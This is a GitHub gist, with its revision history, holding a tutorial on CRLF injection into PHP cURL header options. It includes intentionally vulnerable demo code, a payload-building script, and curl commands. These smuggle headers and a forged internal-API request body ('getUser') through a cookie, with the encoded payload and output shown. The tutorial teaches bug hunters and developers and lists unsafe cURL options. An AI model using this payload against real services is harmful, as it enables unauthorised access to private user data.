Last active
October 11, 2024 16:43
-
-
Save tomnomnom/6727d7d3fabf5a4ab20703121a9090da to your computer and use it in GitHub Desktop.
Revisions
-
tomnomnom revised this gist
Aug 3, 2017 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -276,7 +276,7 @@ is being read by httpbin.org: } ``` And now we have user 4567's details. ## Other Vectors `CURLOPT_HTTPHEADER` is not the only cURL option that's vulnerable to this problem. Several other options implicitly set -
tomnomnom revised this gist
Aug 3, 2017 . 3 changed files with 0 additions and 52 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,12 +0,0 @@ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,12 +0,0 @@ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,28 +0,0 @@ -
tomnomnom created this gist
Aug 3, 2017 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,12 @@ <?php // common.php function getTrialGroups(){ $trialGroups = 'default'; if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; } return explode(",", $trialGroups); } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,12 @@ <?php // payload.php $message = json_encode([ 'method' => 'getUser', 'params' => '1234' ]); $length = strlen($message); $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}"; echo "Cookie: trialGroups=".urlencode($payload); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,291 @@ # CRLF Injection Into PHP's cURL Options I spent the weekend meeting hackers in Vegas, and I got talking to one of them about CRLF Injection. They'd not seen many CRLF Injection vulnerabilities in the wild, so I thought I'd write up an example that's similar to something I found a few months ago. If you're looking for bugs legally through a program like [hackerone](https://www.hackerone.com/), or you're a programmer wanting to write secure PHP: this might be useful to you. ## Scenario The code I found was calling an internal API using [PHP's cURL library](http://php.net/manual/en/book.curl.php), and was doing it a bit like this (note that I've swapped the remote API URL for http://httpbin.org/post): ```php <?php // server.php // Include common functions require __DIR__.'/common.php'; // Using the awesome httpbin.org here to just reflect // our whole request back at us as JSON :) $ch = curl_init("http://httpbin.org/post"); // Make curl_exec return the response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Set the content type and pass through any trial groups curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " . implode(",", getTrialGroups()) ]); // Call the 'getPublicData' RPC method on the internal API curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => [] ])); // Return the response to the user echo curl_exec($ch); curl_close($ch); ``` Do you see the problem? How about if we take a look at `common.php`? ```php <?php // common.php function getTrialGroups(){ $trialGroups = 'default'; if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; } return explode(",", $trialGroups); } ``` The data returned from `getTrialGroups()` is used as part of the request in the `X-Trial-Groups` header, and `getTrialGroups()` gets its data from the user's cookies. That's a problem because cookie values are automatically [urldecoded](http://php.net/urldecode) by PHP, and that means we can inject [CRLF sequences](https://en.wikipedia.org/wiki/Newline) into cookie values. ## Setup To demonstrate how we might exploit this, I'll use [PHP's built-in web server](http://php.net/manual/en/features.commandline.webserver.php) to run the code locally: ``` ▶ php -S localhost:1234 server.php PHP 7.0.18-0ubuntu0.16.04.1 Development Server started at Wed Aug 2 23:45:07 2017 Listening on http://localhost:1234 Document root is /home/tom/phpcurl Press Ctrl-C to quit. ``` Any request going to `http://localhost/` will now be handled by `server.php`. Let's use the `curl` command line client to see what a perfectly legitimate request looks like: ``` ▶ curl -s localhost:1234 { "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "default" }, "json": { "method": "getPublicData", "params": [] }, "origin": "169.254.1.2", "url": "http://httpbin.org/post" } ``` We get given the remote response from httpbin.org; showing us the headers that were sent, and the `POST` data we sent too. Now let's see what it looks like when we use a cookie to set the `newmenu` and `randomSleeps` trial groups: ``` ▶ curl -s -H'Cookie: trialGroups=newmenu,randomSleeps' localhost:1234 { "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "newmenu,randomSleeps" }, "json": { "method": "getPublicData", "params": [] }, "origin": "169.254.1.2", "url": "http://httpbin.org/post" } ``` Spot the difference? Partly for a bit of shameless self promotion I'll use [gron](https://github.com/tomnomnom/gron) and `grep` to make it a bit clearer: ``` ▶ curl -s -H'Cookie: trialGroups=newmenu,randomSleeps' localhost:1234 | gron | grep X- json.headers["X-Trial-Groups"] = "newmenu,randomSleeps"; ``` The trial groups are being passed off to httpbin.org in the `X-Trial-Groups` header as expected; not a problem if the feature is used as intended. ## Exploitation Because the cookie's value is urldecoded automatically by PHP, we can use [urlencoded](http://php.net/urlencode) CRLF chatacters (`%0D` and `%0A`) to inject our own headers into the request to the internal API: ``` ▶ curl -s -H'Cookie: trialGroups=newmenu%0D%0AX-Footle:%20bootle' localhost:1234 | gron | grep X- json.headers["X-Trial-Groups"] = "newmenu"; json.headers["X-Footle"] = "bootle"; ``` That `X-Footle` header is new :) Is injecting a header into the request to the internal API really that much of a problem? Well, *maybe*. It really depends on how that API is configured: some software responds to special headers, and some servers use [name-based virtual hosting](https://en.wikipedia.org/wiki/Virtual_hosting) so you could set the `Host` header and hit a different service. The really nasty thing to do though, is exploit a common weakness in many internal APIs: they are too trusting. The code is calling the `getPublicData` method using an RPC-style API. It's `POST` data looks like this: ```json { "method": "getPublicData", "params": [] } ``` Many internal APIs will happily return any data they're asked for without additional authorization. So if we could change that `POST` data to something else, we might be able to get our hands on something juicy like, for example, some private data for user 4567: ```json { "method": "getUser", "params": [4567] } ``` HTTP is a simple, line-based protocol. The general format of a `POST` request is several headers separated by CRLF sequences, then two CRLF sequences, and then `POST` data in the format specified by the `Content-Type` header. If we inject two urlencoded CRLF sequences into our cookie value, we can inject our own `POST` data too. There's a problem with that though: in the request sent to the API our data will be immediately followed by two CRLF sequences, and then the original non-malicious data. As luck would have it however, we can just inject a [Content-Length](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13) header to tell the API how many bytes to read, having it stop before the original data sent by `server.php`. So our payload needs to comprise of: 1. A dummy value for the `trialGroups` 2. A CRLF sequence 3. A `Content-Length` header set to the length of our JSON message 4. Two CRLF sequences 5. Our JSON message All of that needs to be urlencoded and used as the value for the `trialGroups` cookie. Rather than type that all out by hand and make a mistake, I've written a script to do it for me: ```php <?php // payload.php $message = json_encode([ 'method' => 'getUser', 'params' => '4567' ]); $length = strlen($message); $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}"; echo "Cookie: trialGroups=".urlencode($payload); ``` Running that gives us a cookie header to send with our request: ``` ▶ php payload.php Cookie: trialGroups=ignore%0D%0AContent-Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D ``` Too keep the following examples a bit shorter, I'm going to export the cookie header as an environment variable: ``` ▶ export CRLFPAYLOAD="Cookie: trialGroups=ignore%0D%0AContent-Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D" ``` Let's try our request now: ``` ▶ curl -s -H"$CRLFPAYLOAD" localhost:1234 { "args": {}, "data": "{\"method\":\"getUser\",\"params\":\"4567\"}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "36", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "ignore" }, "json": { "method": "getUser", "params": "4567" }, "origin": "169.254.1.2", "url": "http://httpbin.org/post" } ``` Success! Zooming in on that with gron and grep (and an [ungron](https://github.com/tomnomnom/gron#ungronning)) you can see that only our own `POST` data is being read by httpbin.org: ``` ▶ curl -s -H"$CRLFPAYLOAD" localhost:1234 | gron | grep json.json | gron -u { "json": { "method": "getUser", "params": "4567" } } ``` And now we have user 5678's details. ## Other Vectors `CURLOPT_HTTPHEADER` is not the only cURL option that's vulnerable to this problem. Several other options implicitly set headers on the request, and are therefore vulnerable too. You should not include user-controllable data in the values for: * `CURLOPT_COOKIE` * `CURLOPT_RANGE` * `CURLOPT_REFERER` * `CURLOPT_USERAGENT` * `CURLOPT_PROXYHEADER` If you find more please let me know :) This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,28 @@ <?php // server.php require __DIR__.'/common.php'; // Using the awesome httpbin.org here to just reflect // our whole request back at us as JSON :) $ch = curl_init("http://httpbin.org/post"); // Make curl_exec return the response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Set the content type and pass through any trial groups curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " . implode(",", getTrialGroups()) ]); // Call the 'getPublicData' RPC method on the internal API curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => [] ])); // Return the response to the user echo curl_exec($ch); curl_close($ch);